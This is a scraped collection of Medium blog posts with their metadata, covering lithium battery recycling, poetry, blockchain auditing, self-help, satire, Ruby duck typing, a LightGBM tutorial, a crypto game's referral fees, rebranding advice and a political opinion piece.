It’s essential that we work towards minimizing this method of gathering lithium and we must identify new methods without drawbacks. Luckily, we don’t have to look far, as the most viable solution is a staple of sustainability: recycling. Although the first step is to extract lithium from primary sources, recycling existing lithium will reduce our dependence on primary sources and it will help extend the lifecycle of the lithium that is currently being used on the market, or has already been spent. Recovering used lithium can also help create a domestic supply of the resource, thereby reducing the environmental and economic transportation costs.
A report from C&EN found that at the end of 2020, China alone had generated approximately half a million metric tons of spent Li-ion batteries. The same report projects that this figure will reach 2 million metric tons per year by 2030. Landfilling these resources is an economic and environmental burden, while recycling — also known as “urban mining” — is the key to solving this problem.
Li-Cycle spoke & hub model (Source: Investor presentation in Feb. 2021)
Having established this, it’s important to note that traditional Li-ion battery recycling methods involving thermal or extreme-heat also come with a downside. These methods only recover around 40 to 50 percent of the valuable resources (like cobalt, nickel, and copper) found within Li-ion batteries. Additionally, the lithium is not economically recoverable to a high grade suitable for use in battery production. These thermal methods are also energy intensive, produce a large amount of solid and gas waste, and do not recycle nearly enough of the components to make them the viable long-term solution for battery recycling.
Thankfully, new methods of recycling have emerged in recent years with the potential to reclaim and recycle up to 95 percent of resources. Instead of thermal processing, the spent batteries undergo a two-stage process of mechanical shredding and wet-chemistry refinement. This method allows the lithium that was previously lost, to be reclaimed. The process is an all-around more attractive option, as it not only negates the pollution output and energy required for thermal processing, but it also removes the need for extensive mining, refinement, and the transportation of virgin lithium.
Li-Cycle end products advantages (Source: Investor presentation in Feb. 2021)
The way in which we power our world is changing. For now, lithium is one of the key players in our transition away from fossil fuels and towards a cleaner, greener future. Through urban mining and new, innovative recycling processes, we are now better able to obtain lithium in a more sustainable way. Select companies are already ushering in these processes, helping the world to realize a cleaner future today.
Kunal Phalpher is the Chief Commercial Officer at Li-Cycle®, an advanced lithium-ion battery resource recovery company. Li-Cycle technology is a closed-loop, economically viable, safe, sustainable and scalable processing technology that provides a solution to the global lithium-ion battery recycling problem.
Interested in publishing in BatteryBits? Apply at this link to become a contributor.
Join our discussion with other battery professionals at the community slack space Battery Street! | https://medium.com/batterybits/lithium-the-non-renewable-mineral-that-makes-renewable-energy-possible-4f14e4651e39 | [] | 2021-05-22 19:04:06.668000+00:00 | ['Electric Car', 'Sustainability', 'Recycling', 'Green Energy', 'Battery'] |
Haiku and Tanka for an Ambivalent Carnivore | Photo by Collin Leynau on Unsplash
Plucking of chickens
Should be accompanied by
The sound of cellos
My goat woman friend
Calls each of her birds by name
Holds the crippled one
In her arms as it crows up
At the sky it cannot fly | https://medium.com/house-of-haiku/haiku-and-tanka-for-an-ambivalent-carnivore-f7dbdbc54cf9 | ['Jane Woodman'] | 2020-03-15 13:44:27.715000+00:00 | ['Chickens', 'Poetry', 'Ambivalence', 'Haiku', 'Tanka'] |
How Blockchain will change the world of auditing | How Blockchain will change the world of auditing
It is a fact that technology is transforming the mode of business operations, from fast mode automation to flawless output, everything is a blessing of technology. One such technology that has impacted businesses like never before is Blockchain. This distributed ledger technology paves the way for a new set of developments that will improvise the conventional technological platforms.
As per IBM, around 66% of all the banks will have commercial Blockchain products; however, the application of Blockchain is not merely limited to finance. As per the Market and Markets report, the worth of Blockchain is expected to become more than $2 billion by 2021. Amongst the different industries that will be impacted by Blockchain Technology, we have the work of auditing.
How will Blockchain impact auditing?
Blockchain’s impact on different businesses is evident from the fact that most of these are trying to use it for their benefit. Here we are highlighting how will it show its impact on auditing work:
1. Change in the role of auditors: One of the first changes that Blockchain is going to bring in the world of auditing is that the role of the auditors will change to the analyst. They will be interpreting the data that is recorded on the Blockchain and will deduce the inferences from the same. Compliance auditors will assist in handling the identities of the individuals, companies, and linking the same with the assets.
Besides, traceability with the provenance of goods will also allow the auditors to trace an asset over time and will also provide proof of transactions in real-time.
2. No data alteration- One of the key works of any auditor is to ensure that every information on the ledger is right and unaltered. With the conventional system, there is no guarantee of authenticity, as there is a greater potential to impact and alter the data. But with Blockchain, you don’t have to ponder over this fact. All the information entered in the DLT is encrypted cryptographically, thus assuring that the data is absolutely safe and free from a data breach.
3. Data security- What makes Blockchain so imperative for auditing work is that it allows data security. One of the prime concerns of any auditor is to ensure that all the data in the ledger is correct and free from any errors. The best way is to opt for a method that is infallible and secure. Blockchain is that platform. Since the data is encrypted and is time-stamped. Any change or alteration in data will be easily reflected in the ledger, thus ensuring complete data security.
Conclusion:
With all these features, it has become evident that Blockchain is one of the best choices for auditing and allied work. Every finance professional would be required to know about Blockchain and how to use the same for auditing work. | https://medium.com/the-capital/how-blockchain-will-change-the-world-of-auditing-becf3d15c39b | ['Sophia Casey'] | 2020-11-18 03:01:06.624000+00:00 | ['Blockchain', 'Blockchain Technology', 'Blockchain Application', 'Blockchain Startup', 'Blockchain Development'] |
How You Can Build Hope For A Better 2021 | How You Can Build Hope For A Better 2021
3 tips to help you remain hopeful even after an especially tough year
Photo by Yohann Lc on Unsplash
2020 is an extremely hard year to sum up.
From the Australian wildfires to the death of numerous icons, it seemed that 2020 always had something worse up its sleeve. The pandemic led to more than a million unnecessary deaths, plunging entire medical systems into an overloaded state despite the best efforts of all the healthcare workers. Relations between nations continued to worsen amidst an increasingly divided world. And systematic racism in the American police system forced the whole world to stand up and call for change.
And like many others, I found 2020 to be an extremely testing year. 2020 was the year where I expected a peaceful (and simple) transition from military service back into normal civilian life before beginning college at the end of the year.
But 2020 had other plans. From preventing my travels to visit my grandparents (who are living in another country) to lockdowns ending my first job (I found work at an ice cream cafe) prematurely, the events of the year upended many of the plans I had for the year (luckily, I still managed to begin university through online lessons).
Yet, when I compare my situation to many others, the changes I had to go through aren’t even comparable. With individuals dealing with the loss of numerous family members, unemployed workers facing possible evictions, and whole countries still being ravaged by the pandemic, it seems that nearly no one is escaping 2020 unscathed.
And as many of us begin to feel economic, social, and psychological pinch from our long drawn war against the pandemic, it makes sense that many of us are losing hope for 2021.
However, Hope is Important
Even though 2021 might seem like a blank page that we can begin to rebuild on, the start of the new year wouldn’t magically remove all of our troubles. The economic impacts will remain to plague us, badly hit locations might have to continue lockdowns, and no one can guarantee that 2021 wouldn’t bring a new set of problems.
However, even if the future seems bleak, hope is something that remains important.
Hope serves as a “powerful motivator”, that drives individuals to make positive improvements to ones’ life. At the same time, it propels us to devise new strategies to achieve our goals, giving us the will to cope amidst a trying period.
Furthermore, research suggests that hope has a positive correlation with our physical health.
That’s why, despite all the bad news that has come out of 2020, I have been working to build up hope for the new year. And if you’re looking to find ways to remain hopeful for the upcoming year, here are some of the strategies that I have employed in my quest:
1. Forget About Making a New Year’s Resolution
“Most people overestimate what they can do in one year and underestimate what they can do in ten years.” ~ Bill Gates
In the past, I used to be a fervent supporter of creating new year resolutions. In fact, I loved the idea of these resolutions so much that I had previously written about them on my old blog. Yet, with the high rate of failure for these resolutions, I have decided to do away with them this upcoming year.
After all, writing down lofty goals that we are unlikely to meet sounds like a terrible way to build up hope.
That’s why, instead of setting up difficult aims for myself, I have decided to make 2021 special. I chose to visualise the person I hope to become and make my future decisions based on this visualisation.
For example, if you would like to be a more courageous person, go into 2021 choosing to do things that you would otherwise be too timid to do before.
Using the “better you” that you’ve imagined, create a set of guidelines that you can use to improve yourself through the next year. By swapping out a set of goals (like say, “try 12 new things that seem scary”), the guidelines will remain with you for the entire year, allowing you to improve yourself all the time without the stress of having to do things just to meet your new year resolutions
2. Repeat the Good Things
Now, after working out the list of guidelines that I want to follow in the new year, I moved on to list the good things that have happened this year.
No matter how terrible your year was, there will be something good that has come out of the year. It doesn’t matter how big or small it is. Just list all the good things that you’ve experienced and done.
With this ‘list of good things’, try to find the ones that you can repeat in the upcoming year. Perhaps it could be “being able to connect more with friends through virtual calls”. Or perhaps it could be “learnt new baking skills and made tasty pastry for neighbours”.
These are the things that you should aim to repeat in the upcoming year. And because all of these are things that you’ve already experienced or done before, repeating them again shouldn’t be too difficult.
By focusing on repeating good things (instead of creating brand new new year resolutions), I aim to make 2021 the year of improvements instead of spending all of my energy trying to build up something new from scratch.
Furthermore, having a list of things that I can look forward to reliving again helps to boost my morale and better prepare me for the year ahead.
3. Don’t Go Into the New Year Alone
Happiness is contagious. In fact, when a study was done on a sample of 5000 individuals over 20 years, it was found that the happiness of a single individual creates a positive chain reaction benefiting an entire network of up to 3 degrees of separation that lasts for an entire year. This means that you stand to benefit from your friend’s friend’s friend’s happiness.
On the other hand, sadness doesn’t spread as easily through social networks. By keeping in contact and working on improving relationships with friends, we will be able to share and receive happiness without becoming as affected when sad events do happen.
Furthermore, with a robust support system, you and your friends will be able to help each other out if terrible things do happen, allowing you to build up hope quickly even if things do not go your way in 2021.
Our Future Shouldn’t be Micromanaged
The truth is that no one knows what 2021 will bring to the table.
Of course, we could be able to predict some of events that might happen with the current knowledge we have (like countries beginning their Covid-19 vaccination plans or the transition of presidential power in the US).
However, there is no way for us to collect all the information and guess how everything will unfold next year. That means that no amount of planning and preparation can help us prevent all the bad things that might happen. But at the same time, there is no way for us to predict all the good things that could just be around the corner.
That’s why, as I stand at the very end of 2020, I prefer to approach the new year with hope. The new year will come at us no matter what we do. And by hoping and trusting that the horizon will bring good things along, I am ready to make the leap and make the best out of 2021.
And with the strategies I have shared, I do hope that you will be willing to take this leap full of hope as well. | https://medium.com/illumination/how-you-can-build-hope-for-a-better-2021-39a2ec45ecff | ['Jerren Gan'] | 2020-12-23 08:53:00.571000+00:00 | ['Self Improvement', 'Psychology', 'Life', 'Inspiration', 'Hope'] |
How I Earned $96,000 By Being Remarkably Average | STEP 1
Give in. Accept everything at face value. Never, ever, question too deeply. You need to trust everything that people will say. A fool and his money are soon parted should be the motto you choose to live your new life of irresponsible irresponsibility.
STEP 2
While you’re busy not questioning anyone, don’t ever, ever, question authority. If they’re wearing a high-vis vest, trust them. If they carry a lanyard or a clipboard and pen, trust them. If they speak as if they know what they’re doing, trust them. Questioning the powers that be leads to trouble and can often lead to being put in charge. You don’t want this. You want average, non-threatening, easy-to-dismiss plank status.
STEP 3
Dump that desire to learn. Head to college because everybody does. Don’t even bother choosing a subject, it doesn’t matter. When you aim for average, you don’t need to make any life-changing decisions, you simply go with the flow. Choose college because that’s what people do.
STEP 4
Travel. You’d be surprised how average travel is. Don’t go anywhere exotic. It helps to choose a safe destination where everybody speaks English. Go to England. Or Canada. Don’t be daring. Don’t stay too long.
STEP 5
And while you’re overseas, learn the language. And when I say ‘learn a language’, I mean, don’t bother. Spanish and Chinese may be on the rise but every average Joe knows that English is the language of commerce. Eventually, all those stupid foreigners have to learn English. Even in India, English is the common language.
STEP 6
A vital step in becoming average and earning a small fortune. Think about starting your own business, but never do. Linkedin is the perfect platform for wannabe-entrepreneurs. Nobody starts anything but they all appear successful in doing absolutely nothing. You too only need to think about starting to call yourself an entrepreneur.
STEP 7
Once you’ve thought about starting your business, the next logical step is to think about writing your own book. Dreams are powerful my friend, and it costs nothing to dream and talk the talk. One day is the faraway land when the rich and successfully average like yourself all live.
STEP 8
It’s important to be weighed down in order for you to never achieve those lofty dreams. The best way to do this is by getting a 30-year mortgage. Make sure you utilize ALL 30 years to reach the nirvana level of average.
STEP 9
Productivity is in the eye of the beholder. And behold, your 40 hours sitting at a desk can optimistically lead to 10 hours of productivity. Is there any better way to grind down your existence into the perfectly average specimen you’re destined to become?
STEP 10
Remember to never, ever, stand out. Don’t wear loud clothing. Don’t raise your hand. Don’t, for the love of commerce, ever volunteer. Try to blend with your cubicle surroundings. Learn how to sit still for hours tapping at a keyboard without actually working. Don’t let leadership define you, be the unique leader who leads by doing nothing. He who succeeds only ventures far, and who wants to go far when there’s a special on Netflix?
STEP 11
Jump, but only look and never leap. Perfect the art of spot-jumping without looking. Be a hoop jumper. Follow orders. Check off the boxes that need to be checked. This is life 101 and how to live it. | https://medium.com/the-bad-influence/how-i-earned-96-000-by-being-remarkably-average-ce4225e69493 | ['Reuben Salsa'] | 2020-12-07 21:02:46.393000+00:00 | ['Lifestyle', 'Salsa', 'The Bad Influence', 'Satire', 'Humor'] |
The Hidden Side of Travelling | The Hidden Side of Travelling
The pictures don’t tell the full story
Travelling is not what it seems.
I’m sure you’ve all seen Instagram profiles that are an endless stream of idyllic looking photos of exotic locations.
The people in these photos are always smiling. They appear to have no cares whatsoever.
They appear to be having a great time. To an outsider, it seems like they have an ideal life.
It’s simply not true.
If I’ve learnt anything from travelling for the past 5 years, it’s that travelling is hard. Really hard. It’s never how it appears in the photos.
They are just a snapshot of a second in time. They don’t capture what happens on a daily basis. That remains hidden behind the lens.
If it did, the picture it painted would be markedly different from what you find on social media. | https://tom-stevenson.medium.com/the-hidden-side-of-travelling-7686d26fda00 | ['Tom Stevenson'] | 2020-05-08 10:53:33.857000+00:00 | ['Life', 'Life Lessons', 'Social Media', 'Blogging', 'Travel'] |
What is Duck-typing in ruby ? | What is Duck-typing in ruby ?
Duck Typing gives the tendency in Ruby to be less concerned with a class of an object and more concerned with what/which methods can be called on that object and what/which operations can be performed on the object.
We all know that, In Ruby- we don’t need to declare the variable types and methods. i.e, everything in a Ruby is an object. Every objects in ruby are independent to each others, hence they can be modified independently. You can add methods to an object on their basis.
Duck typing refers that- “ If an object walks and talks (functions) like a duck, then Ruby Interpreter treat that object as a Duck. “
Let’s consider the following example:
Duck-typing in Ruby
Above example is the simple example of “Duck-typing” in Ruby. If an object responds or acts like a String then, treat it as a String. Hence, We should treat every objects on the basis of their methods or functions which they define rather than the classes from they inherit or modules which they include. | https://medium.com/@ankita-dev/duck-typing-in-ruby-263652d84e7 | ['Ankita Singh'] | 2020-12-03 10:57:41.245000+00:00 | ['Ruby', 'Ruby on Rails', 'JavaScript', 'Duck Typing', 'Mongodb'] |
A light passage for LightGBM | As a non-IT background who decided to pursue data science as a career, I realize there is so much knowledge I need to expand and skills I need to leverage, including writing skills — explaining concepts in a simple and understandable way regardless of the audience background. Therefore, I decided to start writing on Medium.
To start off, this passage will explain LightGBM. LightGBM stands for light Gradient Boosting Machine, let’s try to break down the concept by 5W+1H.
What is Light Gradient Boosting Machine?
LightGBM is a gradient boosting framework that uses tree based learning algorithm. In my opinion, tree based algorithm is the most intuitive algorithm because it mimics on how human make a decision.
It is 11 am and you confuse if you need to eat now or later, so you make a decision tree. A decision tree consist of the root node as the root cause, branch node as the decision node and leaf node as the decision result. Image by the author.
Before answering the question, first, we need to know what is boosting and the gradient boosting framework.
Boosting is an ensemble technique for creating collections of predictors or the method to combine weak learner into strong learner to predict the output. The weak learner here is each one of the decision tree. It is weak because it performs poorly in predicting or classifying. To get better prediction, we combine the weak learner where each learner will produce a hypothesis and combine it together will create a final hypothesis in predicting the output. Boosting works in a way that the trees are grown sequentially: each tree is grown using information from previously grown trees.
Since we want to add many weak learners to our model, we might ask how can we know if our model is optimized? Here we use gradient boosting where we apply gradient descent procedure to find the optimum model in which the loss function is minimized.
It means to understand gradient boosting we have to understand gradient descent, loss function and optimization function.
A simple gif to ilustrate the gradient descent in which we want to find the intecept of a linear regression with the loss function RMSE. The gradient of the green line descent until it finds the least amount of RMSE where the gradient is close to 0. The gif is made by the author.
Optimization function is a function that we applied to reach the objective that we want, in this case minimizing the loss function. The loss function will measure how far off is the model from the actual data. If the result of the model or the prediction is way off, the loss function will result in a large number. The optimization function will gradually reduce the loss function/the error until it converges to a minimum value. The loss function that we usually encounter are Root Mean Square Error (RMSE) and Mean Absolute Error (MAE) for regression problem and Binary Loss Function and Cross Entropy Loss for classification problem. Gradient descent mean the gradient will gradually decent as the loss function become minimzed until the gradient reach limit to 0.
Back to LightGBM, using the tree based learning algorithm the weak learner will grow sequentially meaning that the first tree that we built will learn how to fit to the target variable, then the second tree will learn from the first tree and also learn how to fit to the residual, the next tree will learn to reduce the residual and fit the residual from the previos tree and it continues until the residual doesn’t change. The gradient of the errors are propagated throughout the system and it is called level-wise tree growth.
Taken from LightGBM documentation illustrating leaf-wise growth tree.
What makes the LightGBM different from another gradient boosting algorithm is in XGBoost the growth of the tree is level-wise while CatBoost is suited more for categorical variables.
Who build LightGBM?
In 2017 microsoft build LightGBM as the alternative the use of XGBoost. lightGBM could be used in Python, R and C++.
Why do we need to use LightGBM?
As stated on the documentation, LightGBM is the improvement of gradient boosting algorithm in terms of efficiency, speed, and supporting the distributed parallel processing and GPU.
LightGBM is suitable to be used if you want to build a model with abundant amount of data. If you only have 100 data it is better to use other machine learning algorithm because your model might cause over-fitting.
How to use LightGBM?
In short there are three steps I applied when I am using lightGBM:
Prepare the training and testing data (data preprocessing, exploratory data analysis, and data encoding for categorical variables) Choose optimization function to get the tuning parameter. You can choose grid-search, random-search, bayesian-optimization, and etc. Several important tuning parameters are:
learning_rate : the step size for each iteration while moving toward a minimum of a loss function in gradient descent
max_depth : the maximum depth of the tree, handling overfitting by lowering the tree’s depth
min_data_in_lead : the minimum number of records a leaf may have
feature_fraction : fractions of features/paramters that will be randomly selected in each iteration for building trees
bagging_fraction : specifies the fraction number of data to be used in each iteration to create a new dataset
lambda : parameter for regulatization to address over-fitting and feature selection, l1-norm used for lasso regression and l2-norm used for ridge regression
min_split_gain : minimum gain to make the split in tree
3. Train the model, fit the model and evaluate the model
If you are interested in understanding the relationship between variables and the target variables you can use the feature_importance. Feature importance will show you which variable play major role in predicting/classifying.
LightGBM is a popular boosting algorithm that is widely used in data science. It could handle categorical data, fast in performance, and grow the tree by leaf-wise sequentially.
To close this off,
Where can I find the complete documentation, place to learn and project examples?
for complete documentation : LightGBM
great tutorial and reading that I came across :
Introduction to Statistical Learning a great book to learn and it is free!
A great reading explaining the performance of XGBoost, LightGBM and CatBoost
An example of applying LightGBM in kaggle
More about gradient boosting algorithm
For the visual and audio learner, a great youtube channel by Prof. Alexander Ihler
Like LightGBM, my writing grows sequentially.
Feel free to drop me comments if you find anything that can be improved from this piece. Cheers! | https://towardsdatascience.com/a-light-passage-for-lightgbm-76543bb09a07 | ['Febriani Fitria Rahmawati'] | 2020-10-06 03:33:00.681000+00:00 | ['Boosting', 'Machine Learning Python', 'Gradient Descent', 'Lightgbm', 'Optimization Function'] |
Referral Sharing Mechanism | Conditions for referrers:
Anyone with an invitation link can become a referrer. If a referrer has at least one NFT in his/her account, the referrer will have a share of the referral earning.
The bond between referrer and referee is valid for a period of 30 days (during this period if the referrer’s account has less than one NFT, no earning from referrals will be given but the bond between the referrer and referee will remain valid).
Referral earnings are as described below:
When a referee buys a mystery box in the marketplace using SEA tokens, 5.75% of the total transaction amount, as well as 7% of the platform fee (4.25%) charged by the platform, will be given to the referrer.
For example: If a referee spends 1500 SEA to purchase three mystery boxes, then his/her referrer can get: 1500*5.75%+1500*4.25%*7%=90.7125 $SEA
2. When a referee makes purchases via C2C, 7% of the platform fee (4.25%) charged by the platform will be given to the referrer.
For example: If a referee made purchases via C2C in the total amount of 3 BNB, then his/her referrer can get: 3*4.25%*7%=0.008925 BNB
3. A referee will contribute promotion points to their referrer for all purchases made in the marketplace. The top 500 referrers ranked by the total number of promotion points during the season will be rewarded a referrer bonus.
Platform fee includes purchase shark NFTs through using $SEA on StarSharks official website and the C2C transactions on marketplace all at a rate of 4.25%, of which the distribution is outlined below;
1% allocated for agency rewards, 2% allocated for guild rewards. 7% allocated for referral earning which will remain valid for 30 days; upon expiry, SEA will be burned and BNB will be put into the staking pool. 70% will be allocated to the staking pool. 20% will be allocated as the platform’s revenue.
Noted: When the referrer/agency/guild does not meet the referral conditions, SEA will be burned and BNB will be put into the staking pool.
Breakdown of the distribution of SEA earnings:
a. 90% Burned;
b. 5.75% Referrer;
c. 4.25% Platform fee:
20% goes to the platform revenue
3% goes to the guild
7% goes to the referrer
70% is burned
Breakdown of the distribution of SEA earnings for the first season without referrals.
500 SEA -
500*4.25%*20%=4.25 SEA to the platform revenue
495.75 Burned
All $SEA Token earnings for referrers will be calculated at the end of the month. Because there was no affiliation in December, the relevant $SEA are burned. The earning from referrals will start in January.
Risk warning: Cryptocurrency trading is subject to high market risk. Please make your trades cautiously.
If you would like to hear from us and know more about us, please follow our official channels, where you can find the latest news and announcements.
Follow us: Website | Twitter |Telegram |Discord |Youtube | https://medium.com/@StarSharks/referral-sharing-mechanism-98a53b64be59 | [] | 2022-01-01 00:17:07.304000+00:00 | ['Starsharks', 'Metaverse'] |
6 Elements To Consider For A Successful Rebranding Process | When you have a brand, or you’re working for one, there comes a time when you think about changing, or altering what your brand stands for and how the customer perceives it should change.
This rebranding process is a massive step for a brand and can make or break it.
We’ve seen a lot of successful rebrands like Tupperware, which skyrocketed the brand just because of altering customer perceptions through a change in ideologies and brand outlook.
Yes, you can change your branding strategies to make it work, or you can do a rebrand for your business.
But it’s essential to consider certain factors before you go ahead in the rebranding phase, because if it is not planned and executed the right way, it may do more harm than good.
Let’s take a look at what you should keep in mind while planning a rebrand.
6 elements to consider for a successful rebranding process
Rebranding sounds exciting, but it also carries potential risks.
What if the customers don’t relate to your new brand identity?
What if the rebrand takes away the originality and essence from your brand?
What if your rebrand doesn’t make the impact you intended?
These are some thoughts that linger in your head when you think about the downsides of a rebrand.
However, there are ways through which you can ensure that your rebrand is successful and yields the results you desire.
Let’s talk about the essential elements that help make a rebrand successful and fruitful.
Reason behind rebranding
One of the most important aspects to consider before you start rebranding is to stress the ‘why.’
Why do you want to do a rebrand?
This can be because you feel your brand is outdated, doesn’t relate to your audience, too similar to a competitor, or probably because you want to position it differently.
There can be multiple reasons why your need for a rebrand has come up, but it’s essential to understand the ‘why’ so you can draft an action plan which can rebrand your business in the way you intend it to be.
A rebrand can be significant to offer a new range of products, expand your customer base if you’re reaching out to a new set of audience, or to adjust better to your audience’s expectations.
Whatever your reason is, make sure it’s legitimate, and you understand it fully because this will help make your rebrand successful.
Target audience and competitor analysis
Through strategic reporting, you need to research if your target audience will relate to the rebrand you’re planning.
If you want to expand your customer base, you need to research your new set of audiences and create buyer personas to understand the kind of elements that should define your rebrand.
You also need to analyse your competitors to see if your rebrand concept is not similar to them.
The last thing you want is your rebrand to align with your competitors.
The main aim is to give a distinct identity to your brand and provide uniqueness with a core messaging that stands apart from your existing ideals and processes.
This research is necessary to position yourself as a leader in a given market after you’re done with the rebranding.
Without this necessary research, your rebrand will fall apart so you cannot miss out on this.
Core messaging and vision
Before you can start working on the new version of your brand, you need to know who you are as a brand and what you stand for.
Your core message needs to be crystal clear because that will guide your rebranding process.
It’s also essential to see if your earlier messaging and vision was working out for your brand in terms of results, conversions, and customers.
Here, analytics play a significant role without which you would be making assumptions in the air.
Ideally, if you want your brand to have a strong presence that relays the intent, it aims to convey, having a clear messaging and vision for your brand is extremely important.
This will determine your success in achieving your goals and ensuring your content which goes from the brand’s name aligns with that messaging.
Your messaging should also be apparent to your team members because if they don’t bring in that perception shift from the earlier messaging to the intended one, your rebrand won’t be successful.
This core messaging is holy to top brands because all their belief pillars and customer happiness stories stand on it.
You’ve identified your need for a rebrand, but that’s not enough.
You need to get into the topic in-depth and plan the scope of the brand rollout attached with realistic timelines.
These timelines are essential because, without this, your rebrand will have no end, and your team will not know what to do when and how to proceed with the process.
A timeline makes everything much more legit and time-sensitive, ensuring the rebrand occurs during the intended time and with a fair amount of preparation.
For this purpose, you can make a project plan which determines each person’s role and when each task should be done.
These tasks, across your rebrand’s physical and digital touchpoints, should have a definite timeline that should not be missed.
Having a plan will make the execution smooth and timely.
Existing brand value and its impact on rebranding
A rebrand should positively impact your business, for which you need to put in careful and calculated efforts, so you get the Return on Investment (ROI).
For this, you need to analyse your existing brand position and value while understanding what kind of impact a rebrand is going to have on your brand.
This is where data and analytics come in, making this one of the most crucial aspects of rebranding.
It would help if you had a strong rebranding strategy backed by research which shouldn’t be taken lightly.
If you don’t pay enough attention to this, and your rebranding process becomes clumsy, it could have detrimental effects on your brand.
Look at your brand achievements, determine how you got to that, discuss it with your team, and try to understand what you’re headed for with clarity so that your brand value can be communicated in a better way through the rebrand.
Customer perceptions
How your audience and customers perceive your brand is crucial for business; it determines the impact of your brand value on others to the most accurate extent.
Once again, analysing what worked previously and the way your audience perceived your brand can tell you how you should manage customer perceptions when you rebrand.
It’s important to remember that your rebrand will only be effective if your audience reacts to it positively.
For this, you need to start focusing on what your customers expect and need from your brand rather than what you as a brand owner or marketer think about it.
Your customers are your most significant assets, and to acquire them and ensure that they relate with the rebrand, you need to switch your mindset to that of a consumer.
Once you gather information about your customer’s expectations from your brand through a survey or market research, you can guide your rebrand in an informed manner to create a brand your customers desire.
Successful Rebranding Examples
Undeniably, rebranding is both beneficial and risky.
While you have read about the elements, you need to consider before you begin your rebranding process, here are some brands which nailed the game with their strategies and calculated risks.
Let’s look at what these brands did to have a successful and positive rebrand.
Dunkin’ Donuts
In 2019, Dunkin’ Donuts took away the word ‘Donuts’ from their brand name and stuck to a single-word brand Dunkin’.
This was because their customers knew the brand was famous for doughnuts so much that they no longer needed ‘donuts’ to accompany them.
Following a rebrand process, they changed their logo, design packaging, remodelled the stores and the brand messaging across all advertising and marketing channels.
They had a successful rebrand along the lines of accurate customer perceptions and came out as a modern brand which even, after a rebrand, stuck to its roots and heritage.
Dominos
Domino’s, the famous pizza chain, was at a loss in 2009, but a successful rebrand completely turned the tables for them, and they were back in business for good after that.
In their rebrand, they focused on what customers didn’t like about their products, thus, listening and serving the customers.
Walking down this path, they acquired the highest customer loyalty across pizza chains.
They understood what was happening, analysed the situation, and acted on the negative aspects to serve the customers in ways they desired.
They also introduced chatbots and social media order-services to make it convenient for the customers to place orders.
Airbnb
In 2008, when Airbnb launched as a platform for people to list their properties, it was pretty confusing on what’s being rented and, so the customer flow was negative.
Following this, they did a rebrand by changing their logo design, positioning, messaging, and identity.
Their new icon in red colour symbolises people, places, love, and Airbnb in a single shape of the letter’ A.’
Through this, they defined a clear brand that was understandable and approachable by their audience.
Lego
The famous toy company, operational for over 90 years now, was strapped with debt in 2003 because the children fell out of love with their products.
However, they did a rebrand and invested in what worked for them, and threw away everything which didn’t.
They also introduced many new things like Lego-themed movies and stores which appealed to their primary target audience, children.
It was a significant shift that saw much turning of heads, and Lego was once again the favourite for children.
The brand also got the name of the ‘Apple of Toys’ because of the growth and popularity they saw from children.
Burberry
Burberry was not facing a loss, but it was moving forward in an average manner, and something was missing from what they were doing before.
With a rebrand, they tried to focus more on telling their story, communicating with an audience, and turning fashion not just as a means to wear clothes, but as a way of life.
They also started using social media for communication and promotions, which made their brand even more relatable.
They were known for their ‘Britishness’, and so they focused more on that by including British models, actors, and workers in their promotional materials and offices.
They recognised what the customers needed and tried to reform their brand in a way which suited their requirement in the digital era.
Conclusion
Rebranding cannot be a spontaneous decision.
The brands which are talked about for their successful rebrands invested a lot of time and effort in understanding their audience, core messaging, brand values, brand positioning, and vision to reform it in a way that proves effective and serves the purpose.
Your work doesn’t end after you’re done with the rebrand, you also need to bring it to the audience through press releases, social media, collaborations, and more.
A rebrand can indeed take your business to new heights, but if you don’t plan and proceed with it the right way, it can also ruin your public image, ruining all you had.
So, if you’re thinking about a rebrand, consider this as a checklist while ideating your process, so you know what kind of risks you’re in for, and can even prepare contingency plans for that.
Author Bio: Adela Belin is a content marketer and blogger at Writers Per Hour. She is passionate about sharing stories with the hope to make a difference in people’s lives and contribute to their personal and professional growth. Find her on Twitter and LinkedIn. | https://medium.com/@inkbotdesign/6-elements-to-consider-for-a-successful-rebranding-process-38ea8d999c60 | ['Inkbot Design'] | 2020-12-17 20:24:56.136000+00:00 | ['Branding', 'Graphic Design', 'Rebranding', 'Design', 'Brand Strategy'] |
Who exactly is keeping US divided? | Who exactly is keeping US divided?
I find it disturbing that in your entire article you fail to point out ways in which misinformation in the media has been disseminated by your publication and others about the President and others in his administration that has caused a lot of pain for some of these same public servants you mention.
Do you think your readers here are naive? We understand that people who write the “news" can choose what narrative they give us and which words to include and which ones to leave out. They can even put words in people’s mouths when they refuse to comment by speculating what someone meant when they made a particular comment.
In fact, isn’t it true that some of these articles written have stoked the hatred directed toward these public servants by their family members and friends?
And yet, you continue to direct people’s animosity toward President Trump and his administration and do not even question how we people frequently judge others and cut them off without giving them the benefit of the doubt.
So who exactly is causing the divisiveness in the US and who gains from it?
I watched Hamilton this year for the first time when it was made available on Disney + and laughed along with everyone else at the portrayal of the mad king of England until he sang about waiting and watching for our experiment with democracy to fail. That sent a chill down my spine, because we are on the brink of failing as long as we silence voices of people who don’t agree with us and paint individuals from different parties as villains.
In the musical we see how the founding fathers fought and debated among themselves and even maligned each other at times. And yet, they were still able to put aside differences and personal failures to work together for the success of the republic.
George Washington’s leadership was so successful, because he insisted on bringing people together around the table rather than allowing issues to become a tug of war where people remain entrenched on opposite sides.
We cannot even do that right now, because the media has been focused on maligning those who are not in their political party rather than reporting factual information and letting their readers decide what to think.
The prevailing environment in the media is to silence voices that oppose their collective point of view and portray these individuals in the worst possible light.
And then many of us in the public have been led along by these same “experts" and haven’t had time to go around checking out what is true or not true for ourselves. We’ve been too quick to judge others without putting ourselves in the other people’s shoes and realizing just how challenging their jobs can be when faced with opposition from within and without and then judged for the good they do as well as for mistakes they make.
So who’s responsible for the divisiveness? Let’s stop laying the blame at one person’s door and take a good, long, hard look at ourselves and our self-righteous attitudes. | https://medium.com/@kathleenbransontiemubol/i-find-it-disturbing-that-in-your-entire-article-you-fail-to-point-out-ways-in-which-misinformation-e0321f404f61 | ['Kathleen Tiemubol'] | 2020-12-21 17:13:00.002000+00:00 | ['Truth', 'United States', 'Journalism', 'Freedom', 'Politics'] |
Mapping Sunset Park // 映射日落公园区 // Mapeo de Sunset Park | A Brief History
